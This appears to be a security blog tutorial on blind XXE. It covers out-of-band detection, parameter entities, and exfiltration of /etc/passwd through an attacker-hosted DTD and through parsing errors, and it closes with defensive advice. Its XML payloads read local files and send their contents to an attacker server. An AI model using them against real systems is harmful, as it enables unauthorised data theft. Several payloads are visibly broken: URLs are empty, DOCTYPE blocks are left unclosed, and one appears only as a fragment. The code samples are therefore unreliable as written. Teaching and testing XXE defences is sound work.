NOTE: Before we get started with this tutorial, it is good to keep in mind that the code samples provided in this post are for demonstration purposes. They do not represent an actual vulnerable application. To experiment with blind XXE, you can check virtual labs.

What is Blind XXE?

Blind XXE (XML External Entity) is a vulnerability that occurs when an application parses XML input from untrusted sources in a way that allows an attacker to retrieve sensitive information or execute arbitrary code on the server.

In a bling XXE, the attacker the application does not return the values of any defined external entities within the response. This makes blind XXEs to exploit compared to regular XXE vulnerabilities. However, with practice, skill, and intuition, you can infer the results by observing the application behavior, allowing you to understand how to exploit them.

How a Blind XXE Works - Simple Version

To better understand how a blind XXE works, let us break down the process of a Blind XXE in simple steps. Keep in mind that this is a heavy oversimplification of the overall functionality.

  • XML Parsing - The first part of application allows you to provide XML Input. The defined XML parser then parses the XML input.
  • External Entity Declaration - You, as the attacker, then craft a malicious XML payload that includes an external entity declaration. An external entity is an XML construct that references an external resource (e.g., file, URL) and can be used to read data from it.

The following example demonstrates a basic illustration of an XML payload that includes an external entity declaration (demo use only)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">

In this example, we declare the external entity xxe with it's value set to read the contents of the /etc/passwd file.

Parsing and Expansion

Once the application receives this malicious payload, it will reach the &xxe entity reference. This forces the parser to expand it by retrieving the contents of the external entity, in this case, the /etc/passwd file. If the application is then vulnerable to the blind XXE, it won't return the file's contents directly.

Application Behavior

Since you are dealing with a blind XXE, you must pay attention to the application behavior when running a blind XXE test.

It is your duty to observe what is "weird" or unusual when you execute the payload. For example, you can view the server response time by leveraging out-of-band techniques.

Detecting blind XXE using out-of-band techniques

The most common way of testing a blind XXE is very similar to how you would test an XXE SSRF but triggering an out-of-band network interaction to a server you control.

For example, as the attacker, you can modify the XML payload to include an HTTP request instead of file contents. Since you control the HTTP server, you can monitor it for DNS lookups or an HTTP request to the specified endpoint.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "">

In this case, we craft an XML payload that requests the specified URL. If the application is vulnerable to the blind XXE, it will force the server to request a back-end HTTP to the specified URL.

However, you may encounter a scenario where using regular entities is either blocked or sanitized from the input. This can result from the XML parser input validation or just security hardening.

In such a case, you can opt to use XML parameter entities. An XML parameter entity refers to a unique XML entity that can only be referenced within the DTD.

Declaring an XML Parameter Entity

We can declare an XML parameter entity by including the percent character before the entity name.

<!ENTITY % xxe "The parameter entity value">

Referencing an XML Parameter Entity

Once defined, you can reference an XML parameter entity by using the percent character as shown:


Testing Blind XXE with XML Parameter Entity

To test a blind XXE using the XML parameter entity, you can craft a DTD payload as shown:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM ""> %xxe; ]>

In this case, the XXE payload declares an XML parameter entity called xx and then uses the entity within the DTD. This will force the application to make a DNS lookup and a HTTP request to the provided URL, verifying that the application is vulnerable.

Exploiting Blind XXE - Out-Of-Band

Okay, you have detected a blind XXE using the out-of-band techniques, but how exactly do you exploit this vulnerability?

Your main goal as the attacker is to steal sensitive data from the application. We can achieve this using the blind XXE and a malicious DTD on your server.

As the attacker, you can host a malicious DTD on a system you control and then invoke the external DTD from within the in-band XXE payload.

Consider the following payload.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM ';'>">

In the payload above, we define an XML parameter entity called file containing the value and contents of the /etc/passwd file.

We also define another XML parameter entity called eval, which contains a dynamic declaration of another XML parameter entity called exfiltrate. This exfiltrate entity is evaluated by the application requesting the attacker's webserver, which contains the value of the file entity within the URL query string.

On the malicious server, you can serve the malicious DTD using a URL as:

Finally, you can submit the XXE payload in the DTD as:

""> %xxe;]>

In this case, we define an XML parameter entity called xxe. We then use the entity within the DTD, causing the XML parser to fetch the external DTD from the malicious server and interpret it inline.

Once the payload in the malicious DTD is executed, it will send the file to the malicious server, where you can view it.

It is good to remember that the method outlined above can fail when including files with newline characters. This is because some XML parsers fetch the URL in the external entity using an API that validates the characters allowed to appear in the URL.In such a scenario, you can target other protocols, such as FTP

Exploiting Blind XXE - Error Messages

The second technique you can use to exploit blind XXE is triggering an XML parsing error where the error message will include the sensitive data you are targeting. This is highly effective if the application is configured to return the error message within the response.

You can trigger an XML parsing message containing the contents of a file, as demonstrated in the following malicious DTD.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">

The above payload performs the following steps:

  • We define an XML parameter entity called file containing the contents of the /etc/passwd file.
  • Next, we define another XML parameter entity called eval, which holds the dynamic declaration of another XML parameter called errro The error entity is evaluated by loading a nonexisting file on the local filesystem, which contains the value of the file entity.
  • Once the error entity is evaluated by attempting to load a non-existing file, the parser will return an error message containing the name of the non-existing file, which is the contents of the /etc/passwd file.

An example output is as shown: /nonexistent/root:x:0:0:root:/root:/bin/bash
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin

How to Protect Against Blind XXEs?

You can take the following steps to protect your applications against blind XXEs.

  • Input Validation - Ensure all XML input is validated correctly before parsing. Reject any XML input that doesn't adhere to the expected structure or contains suspicious or disallowed entities.
  • Disable External Entities - Configure the XML parser to disable the processing of external entities or limit their usage to trusted sources only.
  • Use Whitelisting - Specify a whitelist of allowed XML elements and attributes the parser can process. Reject any input that contains unrecognized elements or attributes.
  • Secure Configuration - Ensure that the server and application are securely configured, with minimal privileges and restricted access to sensitive resources.
  • Regular Updates - Keep the XML parser and its dependencies up to date to benefit from security patches and bug fixes.


In this tutorial, we walked you through detecting, testing, and exploiting blind XXEs in a vulnerable application. We hope you enjoyed this tutorial; if you did, share it and leave us feedback below.

If you wish to learn more about XML, Document Type Definitions (DTD), regular XXEs, and more, leave us a comment below or Request a topic. We promise to release an article for you in the shortest time possible.

Table of Contents
Great! Next, complete checkout for full access to GeekBits.
Welcome back! You've successfully signed in.
You've successfully subscribed to GeekBits.
Success! Your account is fully activated, you now have access to all content.
Success! Your billing info has been updated.
Your billing was not updated.